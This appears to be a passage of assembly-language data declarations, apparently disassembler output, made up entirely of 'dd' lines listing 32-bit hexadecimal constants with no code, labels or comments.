dd 7E3D3E72h, 0E5027FA5h, 0B7B2913h, 0FA0C403Fh, 0AEE20083h
dd 30EBFC85h, 2800672Eh, 24CBDE7Bh, 0F4C4F805h, 9A2B3B15h
dd 62891DFCh, 94F50027h, 0A8BD2D75h, 0C002070h, 606766C9h
dd 98B2D252h, 31840004h, 0F39A184Dh, 61EE1968h, 0D159A013h
dd 0B1B68700h, 573F0h, 1A3B317h, 86E65B71h, 7EC8506h, 0F052A9h
dd 0AC5DC2BBh, 0AD7ACFE0h, 0C8787900h, 521A206Dh, 3218000Bh
dd 7BFF4D9Bh, 1000D5F0h, 445E50C1h, 19C6188h, 9857CE12h
dd 0E4B87146h, 9F1E28FFh, 0F0C06606h, 0FC21426Eh, 3C2A48FDh
dd 7E533600h, 105FC699h, 47894A00h, 58800D2Ch, 0CD70065h
dd 78F629EEh, 9801D96Ch, 164A3266h, 0AC40488Dh, 1384F372h
dd 3155526h, 54ED53BCh, 0CD0961C0h, 365B9100h, 0D5EAB8C1h
dd 0B99F1DCAh, 0BA92876Ah, 518EC040h, 3C1D182Bh, 0F14177F0h
dd 9373277Ch, 99B23020h, 24551D24h, 468EA798h, 15A8C9C0h
dd 5800DD71h, 2E906D22h, 986C5DA2h, 56A014FEh, 6C48F6EDh
dd 0D9824700h, 4A12CD5Ch, 656CB400h, 90BBDF68h, 0C28B00E6h
dd 731DB144h, 889017D4h, 24891300h, 235204BDh, 7EFE0091h
dd 0A09E160Eh, 93003DE5h, 6E96E4D2h, 572C70h, 472534F2h
dd 7C5237A2h, 91C75D2Ch, 14AC931h, 1C9A04E8h, 42BC95h
dd 23EA81DFh, 7800C5E8h, 4A680D19h, 0FA3DB6h, 5CF9076Eh
dd 0C6682AEh, 100A781Fh, 5EB7BA40h, 3715D16h, 0CAA3D7BDh
dd 60014368h, 46ABC18Eh, 65C44F07h, 2577526h, 0F5212987h
dd 448F830Eh, 0E130882Dh, 1D792C02h, 5D1D7389h, 0D01E905h
dd 0F1561000h, 0FDD582h, 15D7BB2Eh, 2AECD82Fh, 0B8655400h
dd 7338FA01h, 2330017h, 1326C71Ch, 9C0FBB5Dh, 0A73FA0h
dd 0CB1B0D72h, 71A4004Fh, 0B0CFA93Ah, 0F500B18Dh, 0FF7E9E6Eh
dd 1C0B9C8h, 67174A90h, 0E09315A3h, 36F235A4h, 0FB341300h
dd 2EC5BA74h, 0DAD2016Ah, 3B781D58h, 0ABBC40Bh, 0DFD2800h
dd 1B13FBDCh, 83961965h, 0E5CC5087h, 60A6EF05h, 0A4C8A803h
dd 0A0B01DEDh, 0A08097ABh, 79CA7B14h, 0C8901C5Ah, 8A9FAEh
dd 28142313h, 66034750h, 0BCD978CBh, 9083D0DAh, 27DF006Ah
dd 72110D6Bh, 42003E0Ah, 7126988Ah, 0C25005h, 3FEC1099h
dd 0FBBBC4D2h, 0EFF7DB03h, 0B8CB5B85h, 32403Ch, 0D913FA57h
dd 87AF9671h, 43864900h, 469ADB67h, 12EB331Fh, 69E923FEh
dd 0D7D2C01Eh, 26D0E500h, 0EA552DF5h, 0FF7D3Eh, 15189CE6h
dd 5FA97F29h, 0E381EE00h, 0C42C4B26h, 0BAD0398Bh, 0ECF093B0h
dd 0D40153E6h, 9BD18434h, 1881927Dh, 0F6653659h, 121DE8B3h
dd 0CF81CC0Ah, 0E580A0F7h, 0F6DF1E43h, 0FAC709E7h, 5680043Fh
dd 0D05B331Dh, 450F18C0h, 0F88062Ch, 1A9C20DBh, 0B7E6DF03h
dd 127C70C7h, 0ED14BA0Eh, 0BC3907h, 379B5790h, 11A0219h
dd 0D352225Dh, 0E33F8CBEh, 48B65890h, 6B4528C0h, 0DE3EB2E2h
dd 25B48C54h, 0A006E499h, 1FBCB50Ch, 438E0068h, 0E7F5B0CDh
dd 980C0371h, 10130733h, 1F4E3405h, 40808680h, 3B9A880Ch
dd 1F107068h, 81DD7BF8h, 0A66A4271h, 6B188F81h, 0C929A006h
dd 78CF419Bh, 0F1452862h, 2ACE894h, 0C7ABD4Ch, 28488943h
dd 9C28B50Dh, 0AA1048B1h, 1B82EFCEh, 9880DE87h, 0CF938F13h
dd 8594C8C6h, 426B1450h, 9CF174A4h, 363C0EB1h, 0D7450E84h
dd 9A5480C1h, 3260EE43h, 7D4F6D68h, 20E09E4h, 7C200FBAh
dd 797A2F4Eh, 0A7BDAD00h, 74640914h, 0C67B0073h, 104A5A99h
dd 61077642h, 47272472h, 86B5F7E0h, 0FF0F010Ah, 0ABE46048h
dd 0CA41C088h, 2D27E800h, 6433F6A9h, 0BCE00CCh, 0B6FE723Bh
dd 0B103962Eh, 8B3A5798h, 8335D88Fh, 578755Eh, 0F6093FC4h
dd 0E0D480B8h, 98004C0Ch, 0AD331554h, 101D4F1h, 0EF1C2EE9h
dd 87FF8E3Eh, 0FE659A50h, 9CAA5280h, 266E000Dh, 9E0165Ah
dd 14009B25h, 0E9A3EC03h, 1966EDh, 73FC0B75h, 2D088072h
dd 0D2305272h, 2306107Eh, 0CCF8000Ah, 1C95B58Eh, 0F2000338h
dd 0D6B4B187h, 60661FCEh, 0DD1436B2h, 7558ADE0h, 0D3007AFAh
dd 0DBF55BA4h, 0E7F010h, 1776E947h, 11B5853Eh, 2E32FC00h
dd 125058C8h, 0A2D600F5h, 0AABC953h, 0DC00A01Bh, 34309BD9h
dd 7F491BAh, 0A8F50486h, 5985D0ECh, 19007961h, 0DFAF4EA0h
dd 0E40554h, 97356298h, 0DA63BC1Dh, 0C8C3B404h, 6EC1434Eh
dd 0A5E4D550h, 7DA930D2h, 0E078B5E0h, 33A7E801h, 31E76F5Dh
dd 0A8FB0AD0h, 3F2DD688h, 0C61DB165h, 0B876801Ch, 311D9451h
dd 0DACB9807h, 0F74088DBh, 0EE641735h, 0ADC5007Ah, 1B1E4446h
dd 3B01D324h, 0EF54323Ah, 0F6C0D88Fh, 0FDB40372h, 40CF8752h
dd 9A70FF80h, 0F7FBED00h, 0EBC89663h, 8CEC0039h, 86FEAF88h
dd 45002953h, 7556E357h, 0EA4DCDh, 1D0D90C5h, 19D56C0Ch
dd 0EEF2D303h, 0FDD47Fh, 8E75C916h, 0D74458CDh, 0B8486F30h
dd 382143Fh, 0A44C5D7Ah, 71005EA1h, 330E0329h, 0ECD6213Bh
dd 344300A0h, 0ACCDDA24h, 81026F68h, 2091D397h, 0E6F4A0D2h
dd 7D36C9h, 0C8BDA763h, 0A5B341A2h, 0EC121800h, 1F692C26h
dd 29DFC5Dh, 0B68BBB6Dh, 0D48D51A8h, 0BC9080BAh, 632A99D7h
dd 27E22Dh, 67FAD212h, 0E99DC54Fh, 9133D000h, 53C3FB39h
dd 0ED31012Ah, 7DCF624Ch, 9E9CE480h, 7A5AEE17h, 0F2120701h
dd 0D080CB48h, 0A9D6C581h, 4DECC8F8h, 19721705h, 80C042A4h
dd 0B8F3BF55h, 892160DDh, 161BDE47h, 0E5691FB0h, 520480B2h
dd 18F8C5h, 0F5CB03F7h, 0DE7E0D37h, 10D24317h, 25146900h
dd 0F3D5A8Eh, 9D0AFCEAh, 0F2EF6160h, 8000750Fh, 65A84CBCh
dd 0F2A27BD3h, 0A3600B3h, 12692968h, 2D00584Fh, 79EB04D4h
dd 0FF847Bh, 17326087h, 1E736C76h, 0A18A6200h, 0CCABD2A3h
dd 0BBA7184Ch, 0B778EA31h, 0C6393B01h, 2792CE75h, 0A39B70h
dd 0CF24BEAFh, 9FDECBC4h, 0EB553400h, 0F32FD691h, 3BBB4C83h
dd 8E1A0B0Eh
dd 1C60136h, 0D8195749h, 752468A1h, 320774BDh, 9C0DCB5h
dd 14D63DE3h, 0A4164F9Ch, 0B7DAA105h, 4EDA80DEh, 0B600A7A0h
dd 0DCA9B899h, 70E0262Eh, 59130011h, 9B24979Ch, 75008094h
dd 28F76E2Ah, 0FDD9B2h, 120FA066h, 2D21A1A7h, 0B95FB63Bh
dd 9052866Ch, 7C87851h, 0C1B5554Dh, 2B7B5096h, 0FE003F1Bh
dd 816450FDh, 0B63236h, 0A9B73AF9h, 2E39F0Ch, 247C9100h
dd 993F2592h, 0A6430331h, 74FC8F77h, 0E5519B98h, 0C9BD9401h
dd 0BEE62BA2h, 0B6F5F080h, 9B154BC0h, 1847849h, 613F95D0h
dd 1080C420h, 4A3705D9h, 94008CB7h, 173C4209h, 0F66CEBCDh
dd 4CB24CB3h, 2087E800h, 5A8A6443h, 7E902100h, 0B96E97F3h
dd 0D42F1F34h, 4A63C023h, 0EF707FFEh, 8F807E3Eh, 69399E50h
dd 0F3FD820Dh, 4B4E60DAh, 0AE9B0237h, 959EB238h, 99E75840h
dd 45AC6C02h, 600BDAD9h, 0F47C8Ch, 0D52B2E47h, 0A8A14674h
dd 0C41FE21Ch, 989BAC41h, 0C8400CF8h, 0E1473Ah, 0ED7A6A28h
dd 916D8EF0h, 0A00D5828h, 0C8360B1Ch, 0FC5D1Eh, 83B92DA8h
dd 8F0AFEh, 0A11DEDBCh, 94E949ACh, 0D72B7114h, 0E26D09D4h
dd 0F15C807Fh, 487339h, 0C889AB6Ch, 41D4D2A8h, 12A61D3Eh
dd 0F8402E95h, 2339EA17h, 0F644E631h, 0C749005Fh, 75878098h
dd 4500BCEFh, 0C2FCB09Dh, 0D29F65h, 9461F706h, 1FDA5A0h
dd 0C1D83000h, 0A287BD76h, 4BEE1D3Fh, 0ACB8401Eh, 5D5734DDh
dd 38011776h, 7FFD9880h, 0F540BB0Bh, 6E88B9h, 26704989h
dd 1990EA30h, 524D3407h, 0DB900EB1h, 446AA9h, 8076F967h
dd 0E626FA7Ah, 7BF35500h, 0B3145C2Fh, 868B0052h, 0CF7F70EEh
dd 3B004B68h, 19631FD7h, 0EBEC29Ch, 4D1892C7h, 1A839A66h
dd 0C0B19000h, 5254C359h, 0F85B1E65h, 0A1478356h, 0F9A33BBEh
dd 0D22B36F0h, 25E2F100h, 411F00Bh, 0B8AD0FF3h, 840E445h
dd 0E20907FCh, 4B949100h, 0EEBA5A34h, 4E0A03A5h, 7D848FCEh
dd 0C5C4E097h, 0D41D0FA9h, 80BFC1B6h, 0FC13160Ch, 8FF4F1h
dd 481F0E58h, 0ECD35967h, 77B3A802h, 0FF170686h, 0DCC95680h
dd 4B072A89h, 0EDCEF613h, 1FC2D70h, 7D4A7216h, 87360941h
dd 0E2826F7Fh, 0AC685764h, 917CF3C5h, 0E0045D00h, 6AC2E890h
dd 0E600785h, 0E1FBFF06h, 0FCB50855h, 0EE395104h, 90038393h
dd 88FC01E3h, 617E9Eh, 67EA6A98h, 81450D7h, 0F102BDB0h
dd 11E85733h, 0E4E040BCh, 5AD16D5h, 33D42054h, 88DE8884h
dd 98E90B00h, 0E8192C36h, 0C7F9792Ah, 0C7212D18h, 406E60E8h
dd 0E70093CFh, 2A429FEFh, 36D6BDh, 4E4C22E0h, 98D08397h
dd 899878DDh, 1D8AD859h, 8C176D4Ah, 0CBA0D4BFh, 8EE86000h
dd 423407Ch, 5203698h, 0C9689920h, 8C515820h, 544C000Ah
dd 0DB23B978h, 79270EFCh, 6061CA85h, 0F0821118h, 737A8040h
dd 0FB62E01Dh, 105D2080h, 10DB7B8h, 0A8DBEC2Bh, 0C01AA4FFh
dd 0C90F4CE2h, 101C06h, 7A623BDh, 948300B4h, 1502C0Eh
dd 300080C1h, 46BCACEEh, 7CFDFCh, 62D8098Bh, 0DFE7DAEDh
dd 0E3086A00h, 2D7D691Fh, 5A440030h, 255E5BB7h, 6A0439EDh
dd 0D91DD099h, 0E4607DC7h, 85BE42h, 45B9FD64h, 8EC98A15h
dd 0F0866503h, 0C0C09C79h, 0E05377h, 0F27AAC4h, 80267DF4h
dd 0B761DE00h, 0A421BED2h, 0F02F01CDh, 0EB2D94B5h, 0D6342459h
dd 0C9D87100h, 7A8BBFA5h, 0A80300E6h, 0DE42960Ch, 1E0E2D01h
dd 0BE5B1847h, 388A18E4h, 0B080BC4Bh, 7417B3Bh, 2A3C023Dh
dd 0B7669632h, 0A0B80CC3h, 0B30C8794h, 305FA588h, 794460EBh
dd 1EF8786Eh, 0D45B9AA0h, 38E7470Ch, 3759A0h, 93129A66h
dd 6A9AE99h, 0B500BFECh, 705ABF7h, 0DFA211h, 0EB8D3DDEh
dd 3CE7816Bh, 40B32F30h, 0FC3358Eh, 0C82010DDh, 360C807Ch
dd 0C0AB3465h, 5784820Bh, 510822DAh, 506C804Dh, 755A6AFFh
dd 90E6D5h, 2C99C7EDh, 0E9BD3DE7h, 0FDAAA00h, 8D32471Fh
dd 0DB3419D1h, 0D40D107Dh, 573AE697h, 0B35961D7h, 5FC8C86h
dd 0F25DF62Ah, 28F42AF8h, 73810080h, 62CDBDB2h, 2E279E76h
dd 0E9CF4D7h, 0BFC18B88h, 40EB317Ch, 0CA44B418h, 607D4800h
dd 0FC713AD6h, 1EC17226h, 49A45Ch, 2CEA6531h, 0F37DA0EFh
dd 0AEABBAC3h, 4E910098h, 0F4825A15h, 6E00BF9Eh, 0CEC6D36Bh
dd 0EA2E1FA8h, 0D7A44C89h, 2298052Ch, 0C25518C4h, 852A4192h
dd 4D84260Ah, 6F8E98F5h, 0E4011716h, 0C0E2E0AAh, 39D69FECh
dd 0F4C85509h, 8220E385h, 1C40B68Eh, 3BF82348h, 504D4F00h
dd 6B9E943h, 7AEE1EEAh, 57BC4024h, 12FB5A9Ah, 7B0A5200h
dd 69D7DFF9h, 311A006Ah, 58C3282Ch, 0AC1D337Ah, 283047D1h
dd 9815111Bh, 734F031Eh, 755FFB5Dh, 21001CA3h, 93186949h
dd 0F61688AFh, 0CB5B0082h, 1BA3FD03h, 59FE2F0Eh, 0BBFA9918h
dd 232460h, 0EC730A5Fh, 4212A91Ch, 7B199A1Bh, 8066A850h
dd 390A01AEh, 2149DE9h, 0E0A3F0F5h, 0D3B93060h, 35F1ECDh
dd 477DABA6h, 830939Eh, 0E8702129h, 24D5011Eh, 1B990F16h
dd 9648839Bh, 98F07C59h, 0C78BF95h, 37DEC24h, 0B890F680h
dd 0C8768300h, 0E10F8C21h, 2D571E78h, 0D57480DDh, 0AD0429FAh
dd 94062400h, 0BDE3B2F0h, 0BBA80073h, 0B881CAD2h, 90FE44Fh
dd 602102F5h, 66F01F52h, 8E300074h, 7EFC3362h, 2571B63Eh
dd 0AF3FB71Fh, 0F19C7DC0h, 27CA0AAh, 59A63954h, 0A1E0B4D2h
dd 0EE38A29Dh, 5DFC05E9h, 67C34F74h, 96C0F79Ch, 0A707A3h
dd 0E213AE14h, 71419219h, 4FF5ED1Fh, 1D391CC0h, 4E3818h
dd 0B0D86B23h, 51286995h, 0C4001570h, 396F6E9h, 7513E6E8h
dd 765D3338h, 31AAD128h, 0F0964F0Eh, 35041F21h, 0DD08757Bh
dd 218A1443h, 930C5B51h, 88997935h, 4C00580Ah, 1E952CA8h
dd 6AE973h, 25C2A2F9h, 19D87EBFh, 2441FB00h, 27487685h
dd 0D34C000Ch, 0DD7BED17h, 431C1428h, 0FE8011B7h, 0D7466B99h
dd 3717176Fh, 662E0010h, 0DFEA4562h, 2667F000h, 568D823Ah
dd 4300023h, 6E2DF132h, 9FF2CC9Dh, 90AFC007h, 6AD01E73h
dd 37ACEC5h, 1BD89419h, 87888DFEh, 0AC00D239h, 860778E3h
dd 0B0716570h, 10750043h, 67141651h, 9428F4DBh, 0CD00FE83h
dd 0E3520C07h, 3E9C841Ch, 0A600809Ah, 6E39B79Bh, 0F1006258h
dd 2CE4F87Eh, 4D3807h, 96DFFB12h, 0A8CFA286h, 0FC663000h
dd 0B6273AF6h, 7683C29h, 0C0C2F280h, 1F1D8CE7h, 1448D000h
dd 0E3E81A9Ah, 0CF9019h, 9C21F435h, 0ACA5CC71h, 463EA898h
dd 68BA00B2h, 2312D441h, 94EB002Ah, 0B7458208h, 20003088h
dd 8D4BCC3Ch, 207F6BDh, 0A3A7C0C1h, 4240B535h, 0AE385830h
dd 0D3CE82D1h, 808F1DA5h, 7E684AA7h, 0B52903A6h, 9E209BBFh
dd 807BF889h, 11CE8AAEh, 37CD99h, 7347B22Bh, 0E5B72A14h
dd 1738CA58h, 0EC00898Eh, 5A2876FAh, 71DC0E5Fh, 0C07DA883h
dd 0CC7EB5E9h, 0C50063C6h, 48352A29h, 0CF2D3318h, 6EC0C924h
dd 0B3B084FBh, 0C7EE0400h, 0FE0A3EA6h, 42D000F3h, 0B973FD82h
dd 1A0C2D8Ah, 38F86EC2h, 283707A2h, 0E3F15204h, 0D9F8DCE2h
dd 0FEABDD4h, 0F30E74FCh, 781E5856h, 3E20876h, 339E729Ch
dd 40903C02h, 10001BACh, 9817EEDh, 1E2A97F1h, 41245Fh
dd 0CF9DD03Fh, 76FE6FE2h, 0C9677800h, 64047A4Bh, 748500C5h
dd 27523C14h, 5D001C41h, 4A218B8Ch, 0C79640h, 605CBE75h
dd 79661356h, 86C90A0Fh, 773120DDh, 0E06E74h, 0F9864B0h
dd 6DEA4B58h, 5AA5D007h
dd 0D690B92Ch, 7436A60h, 552325C7h, 36A07EF4h, 702CFF66h
dd 79908E0Fh, 3EC7BED8h, 9660C042h, 1C2658EAh, 42E2A63Dh
dd 4BFD69C1h, 0DAC7B048h, 37B0D1Fh, 4788EA00h, 0FC78C3h
dd 0DB11E97Fh, 5C145F53h, 18B040FFh, 620003D2h, 2FEAD327h
dd 30436660h, 4A2116A2h, 0AD7C246Bh, 15817904h, 10902731h
dd 0FEA8BD7Ah, 0FB338FCh, 32524400h, 0C639A2AEh, 5FFF600h
dd 0D759732Bh, 3E6200D4h, 0C82C3B8Bh, 32000144h, 9BDF1A39h
dd 0EF4D72h, 0D12D24E7h, 0A54423CDh, 8EE3000h, 0B2FFD3FEh
dd 488A73C4h, 181368C6h, 8340008Dh, 7088F892h, 7AD72700h
dd 80C9DB6Bh, 0D0070EE3h, 3AA016CBh, 500D54D8h, 0B8D30800h
dd 56D7124Ah, 0F03F00D4h, 4F66DE6Ch, 0FF00F902h, 637F52C3h
dd 0AFF2B1h, 9D55ED94h, 0FD679FE0h, 0FCDA2706h, 7358D779h
dd 1A80381Ch, 0DF992200h, 0FBA3B041h, 6AE42900h, 50ABE42h
dd 0A13D0034h, 682AD3E1h, 0C0D2D819h, 0A40609h, 0DB011501h
dd 0AD200059h, 707374AFh, 1D3BA6B3h, 8736BCB1h, 0E8A467AAh
dd 85D6A830h, 9D640340h, 4E0167Ah, 1358AA98h, 0EF36351Fh
dd 0A68FE180h, 3F5A736Bh, 0C91DC61Ah, 1376C0D2h, 6A7ABAC0h
dd 0DFD6AA00h, 9AFF7064h, 0B8203A0h, 7553DA8Ah, 0E4811C81h
dd 0C279C533h, 188994Ch, 90E82474h, 10819645h, 5AD12344h
dd 346D20ECh, 0FC021C00h, 476AD72Fh, 40796Bh, 0A51B7EB3h
dd 50D46997h, 0CBEBE800h, 0A3230A48h, 0C44903B4h, 0C8020E3Eh
dd 17B9F3A0h, 82A1FF2Eh, 6C7F6900h, 20758CFh, 0C5E87C6Fh
dd 0A460200Fh, 4B02D3BAh, 0C0D23217h, 0A9C86140h, 33A20h
dd 9116423Ch, 3E47112Eh, 43D4448h, 0D92446F7h, 0C322C8C1h
dd 0D8614986h, 0F400E14Dh, 3489D5B9h, 142075CCh, 0B4A2BF92h
dd 0E8359C07h, 57760050h, 2B0032B8h, 0E28C6305h, 80A12Fh
dd 8E6FB383h, 0A493E9F3h, 73301300h, 0F9BCD84Ch, 18AC1FD5h
dd 0F1DFC0C4h, 0B40EAA50h, 8964D60Bh, 2B6800E7h, 4267D40h
dd 66810974h, 0B498C059h, 940F1237h, 20AD5BFAh, 0CE4D8A9Ah
dd 6DC907C3h, 10D20DB6h, 0E63E9E85h, 0BC180224h, 36659300h
dd 3EB846E7h, 581AA5h, 51604E00h, 16408F22h, 0C83C6E00h
dd 0BE86B509h, 49A73D37h, 0B70D2Ch, 0F21DA8DDh, 80C0AA94h
dd 19E123BEh, 756207B2h, 0BBAC6ECEh, 96ED4001h, 2264C8AAh
dd 435BACA0h, 0D44140h, 48E73236h, 0B4850DE8h, 18FFB709h
dd 0A208204Eh, 3091FB2h, 0D672434Ch, 5CA84FD4h, 56002F96h
dd 6E53F4A9h, 173E34h, 6A4EF11Bh, 2D100DE6h, 58C4E900h
dd 3D5FAE83h, 0A7100DAh, 0DC04D859h, 3C0124B1h, 17733567h
dd 0E6C80C11h, 0E334007Ah, 0E4533E72h, 960BFA8Bh, 50E278D2h
dd 0A8D90090h, 0C8F6B426h, 347168A5h, 3DB0C300h, 9615F0CCh
dd 47933B73h, 8D35BF01h, 8044A111h, 2B9CBBE8h, 17C9785h
dd 0C80E6187h, 0C75DF335h, 0CFC788C0h, 0E34F1C00h, 0CCE0CDE1h
dd 46760030h, 0DFC3D113h, 0D200FFB5h, 7202650Ch, 1DFE3A4Bh
dd 0FE462E1Fh, 4076F913h, 5DD93D70h, 0FF00DE51h, 3B0AB6E8h
dd 4B0B98h, 0B03F0C14h, 27BB42Dh, 0BC323A01h, 0FF2B9A7Ah
dd 3823A030h, 0B68018BEh, 0B83AB0CBh, 34B1BC89h, 3326053Ch
dd 0B70729C3h, 0D8619824h, 86D75D0Bh, 6A00040h, 8F0318D3h
dd 3D000513h, 76CC0B85h, 0F45910h, 5FD0A1DEh, 31B6C91Fh
dd 38B32600h, 66080BBCh, 741A7CA8h, 8297003Bh, 7E400656h
dd 0B05C14A3h, 0D7960050h, 0FEFFF89Bh, 4C816546h, 8CCCC0D6h
dd 0A500C757h, 7675DD7Eh, 36AA44h, 0B5456533h, 0C9DFE081h
dd 1026ACBAh, 909208D6h, 0D1D34905h, 3982DA1Ch, 4074EC8Bh
dd 16F195E8h, 40E1FABFh, 0C8DBE320h, 7F0087BDh, 0AD3BC7FBh
dd 7E90D246h, 51CB803h, 26D99CEEh, 67AC00C6h, 0CA5A7F9Dh
dd 245280h, 2D68B977h, 6711C48Dh, 78C1948h, 6C72E8ACh
dd 0C09DDAB3h, 3983781Ah, 0D200E438h, 986A08A2h, 0AB0AECDh
dd 0D03448h, 6CBD0416h, 0FE64D2h, 38CE13A7h, 600D5D29h
dd 3A9A4Ch, 0B4AA650Eh, 5C2CC2h, 1E67FB0Ch, 1319D459h
dd 3FE6100h, 357B9DD5h, 0B6E150D7h, 968B1317h, 9C983136h
dd 0ACA30031h, 1B403B1h, 0E459D0C3h, 536F788h, 415D1603h
dd 0C88DAA5Eh, 381AC67Dh, 7400DD2Fh, 0EF92DBFEh, 0F0E1B9C7h
dd 27E22365h, 0C59D571Eh, 42BC2D80h, 1DFE44B3h, 7FBA4B07h
dd 1B932F0Eh, 0A62750C0h, 0BD7DAC5Bh, 94763800h, 2E7D20BFh
dd 0C46C02AEh, 852FDE87h, 1127450h, 3600256Bh, 94CDF572h
dd 90430070h, 21D76133h, 71F26BFBh, 0E0055E76h, 664168A8h
dd 0A71DACC1h, 0FA4AF4h, 162B4744h, 34EF062Ch, 86DFAA00h
dd 5AB5797Fh, 4F6400FBh, 0A7773F0Fh, 0BC00BB46h, 0E12E6BFh
dd 72443AF2h, 0A5DA0951h, 27800925h, 0EFAC680Fh, 0D121E1Ch
dd 6FEE04C0h, 3ADC1C5Eh, 0AF001D5Bh, 0B9479209h, 7009EBBh
dd 52867764h, 1C03B5Fh, 22C78E82h, 60D4E043h, 0B8EE50h
dd 0E2A35300h, 6A9BA567h, 4B661CB7h, 658803Bh, 0A005E830h
dd 8D369E00h, 144269D5h, 8B2F039Fh, 0D3774562h, 0A5A0BDE3h
dd 0F400FA4Dh, 959CECF7h, 1BC22F9h, 0DA5DBBE4h, 0E4EAC4F8h
dd 0B7000E50h, 7A63A7CAh, 0CED73Ch, 0D373A686h, 0F18F5437h
dd 69FCED60h, 0E01D7985h, 9195005Bh, 85983A8h, 0C9004E15h
dd 8F52F1BDh, 0EA6772E9h, 0A94D01A2h, 0FE332496h, 8C60CC6Eh
dd 2225C300h, 0D556B9A8h, 0E5AA7052h, 6938F4h, 4482D168h
dd 0F3CF277Ch, 1A3B6402h, 8FF16BDFh, 0DED900F8h, 779A12h
dd 45717380h, 84540D40h, 75C2C600h, 5C362F2Ah, 3CA300A5h
dd 14A87DE6h, 39004866h, 0C70D27AFh, 30F8EDAh, 0D5DFD7BFh
dd 0D0C878B1h, 8007847Ah, 95EE85C9h, 27BEE750h, 0B6990009h
dd 0F36C1C2Ah, 0F500CA89h, 844C5C8h, 9739460h, 1A6D055Fh
dd 40993400h, 311228C2h, 38477D01h, 6910C845h, 0F8BCC9DBh
dd 80E800BEh, 125397B6h, 0CD00304Fh, 7F39CA2Dh, 0D95C34h
dd 0F88A9C9Ah, 98A732FBh, 26387C00h, 36F0BB65h, 562000E6h
dd 0B9827044h, 0A800E8E0h, 3C075919h, 4BA4218h, 81EE16Eh
dd 0D1A5C0FFh, 0C813D99Ah, 0B080222Fh, 4831F457h, 820934E9h
dd 508064B5h, 7FD799B0h, 0FB239C1Dh, 0C7C52042h, 12E5808Bh
dd 587A102Ah, 0B40072B6h, 35732E22h, 4D00880Ch, 282FA0DDh
dd 61200348h, 0FBF79024h, 0FE62D45Dh, 0C6049D75h, 94475791h
dd 3FED3900h, 661DFF6Ah, 81CFBD3h, 3EAF7FC0h, 1097731h
dd 3B654864h, 31A86039h, 0E790EBD8h, 0C900795Ch, 0F79DA991h
dd 2C9FFD45h, 38FACEh, 235B7684h, 1200144Eh, 0C0E7A615h
dd 7F0D533h, 0E2B31ECEh, 8AC4C352h, 29E62FC8h, 0EC3E4E76h
dd 87DB960Eh, 0D5542044h, 8280D242h, 232F8080h, 7E00F76Eh
dd 1E4EC196h, 1F2CC9h, 0A174DB80h, 0B8BCE81h, 20FB1700h
dd 0A2495D69h, 0E844F116h, 7D6098A0h, 18015878h, 7C27B100h
dd 5916758Eh, 0E3F51012h, 4F316718h, 8B3E09B3h, 0D8C03DE6h
dd 100FE73h, 58952FD5h, 5161F6h, 0E52FF12h, 0ED3247FAh
dd 0DF851D09h, 1A1F8095h, 49AF814h, 2EA009E1h, 7434B035h
dd 0E41DC370h, 47C0D3D6h, 9B6934AAh, 5CEF0060h, 7DB9A71Fh
dd 3200C280h, 7C4F3D9h, 0DAD27Bh, 0C1F8E409h, 28D472E0h
dd 88AE022Ch, 0E6A2E100h, 73B4540h, 5B7E6B9Ah, 0A18E007Ah
dd 0E300D805h, 52441A5Ch
dd 2E4AD33h, 3580D532h, 0EC843189h, 0F3E481CCh, 0EC84F5F5h
dd 0A4009002h, 2BD9E686h, 5842594Fh, 9A0096FAh, 0D0D4DA73h
dd 5700832Ah, 6247C0A2h, 0B0C2B223h, 7C8A7618h, 0E8B09Fh
dd 0A098D4D0h, 8E44DEABh, 5E00C690h, 2EAE4A5Fh, 2A94F0h
dd 9F7AEE33h, 0C0A5CBF2h, 0E988290Ch, 7098C2h, 4A75D48Fh
dd 5D451D4Fh, 533D1CE0h, 0D5F90077h, 90071F35h, 0A47F00B6h
dd 0B0EDE1CDh, 0B20F484Ch, 0A09C1953h, 0C754155Dh, 0D4C8281Eh
dd 20034BC0h, 0E77EDDACh, 72D7E303h, 0E141565Ch, 7870912Ch
dd 0AB6A0771h, 0E3597742h, 898F9E1Eh, 0D392F460h, 0C9A8E700h
dd 0D9A9A147h, 0CEE20371h, 2EC2027Eh, 31CBF198h, 483A5D00h
dd 4C097458h, 207A0005h, 0DB71B3ABh, 0E80003FAh, 82CF1151h
dd 48184E1Ch, 0F93D2497h, 30F29480h, 8A1D56E7h, 4400867Ah
dd 2882CDE8h, 314FF76h, 0A0E411D4h, 8769AFh, 79EE7E2Eh
dd 0C9DD1B03h, 0D0614836h, 3C0B3FA6h, 0D1827DA1h, 0C11A1612h
dd 0C2D854E0h, 0E105897Dh, 0E0A56D62h, 9D249040h, 9BF431h
dd 0DA50ED64h, 0F5EE1E62h, 4DECFF00h, 0F72DA497h, 0E6063817h
dd 0EBEAFBh, 0B4BA8F22h, 0EA70FCEFh, 0B3DD2403h, 0C2298CBEh
dd 9550406Fh, 408A4EC8h, 71F41484h, 0B200609Fh, 5B589E62h
dd 15FA874h, 0CFBE0F80h, 0C04EF3E2h, 8BE2FEB3h, 0F5F8D5A0h
dd 0B75972Ch, 7DA0D700h, 1D6B25C2h, 65A43848h, 0A8D23C21h
dd 0E11C3064h, 2F107907h, 30A0C911h, 1DD3B6B8h, 40DC92D9h
dd 60A2D513h, 56052171h, 0D18F77C7h, 8C3C8400h, 0BA0B9DAh
dd 0EB3B8831h, 0DBE75060h, 0F0253D00h, 62B5D2F3h, 12937F8Ah
dd 80B4BBCBh, 0C21CF404h, 6B3EEF02h, 0E89B5B7Bh, 33CC778h
dd 1AA461C0h, 0BFBBD7BEh, 0DC98A0D8h, 4426F300h, 18EAD2ADh
dd 0E49B0B07h, 5900EB0Eh, 128D9695h, 51889300h, 9509F04h
dd 7BE053h, 27647103h, 4B10A6E6h, 0E562AC00h, 0B0762344h
dd 0B78613CBh, 0ABB08011h, 0E818A749h, 360EA667h, 0EE5A0015h
dd 66CB8F6Dh, 0A17A1837h, 0F2113300h, 62DD9F3Bh, 0E10300F6h
dd 0A88505A7h, 553A786Dh, 0A580092h, 462A262Eh, 86670062h
dd 0E79BD37Eh, 1D02AA1Bh, 3EC502A2h, 0A3E0E0B9h, 84802D3Bh
dd 0FD146CA0h, 5E4F6C5Dh, 0C00BDACh, 9F1D847h, 75FEAEABh
dd 2F007479h, 8ED79DC4h, 1540601h, 0ED94F40Ah, 0E349706Eh
dd 203AF1E8h, 2A6CBD07h, 3E10B119h, 171BB0E5h, 90EAF8h
dd 0C69E8605h, 8F008B08h, 379A3EBDh, 0FAD5302h, 2B5F33C5h
dd 0A53020E0h, 16006462h, 4B7B445Ch, 386BF5Ah, 0B88B7FC7h
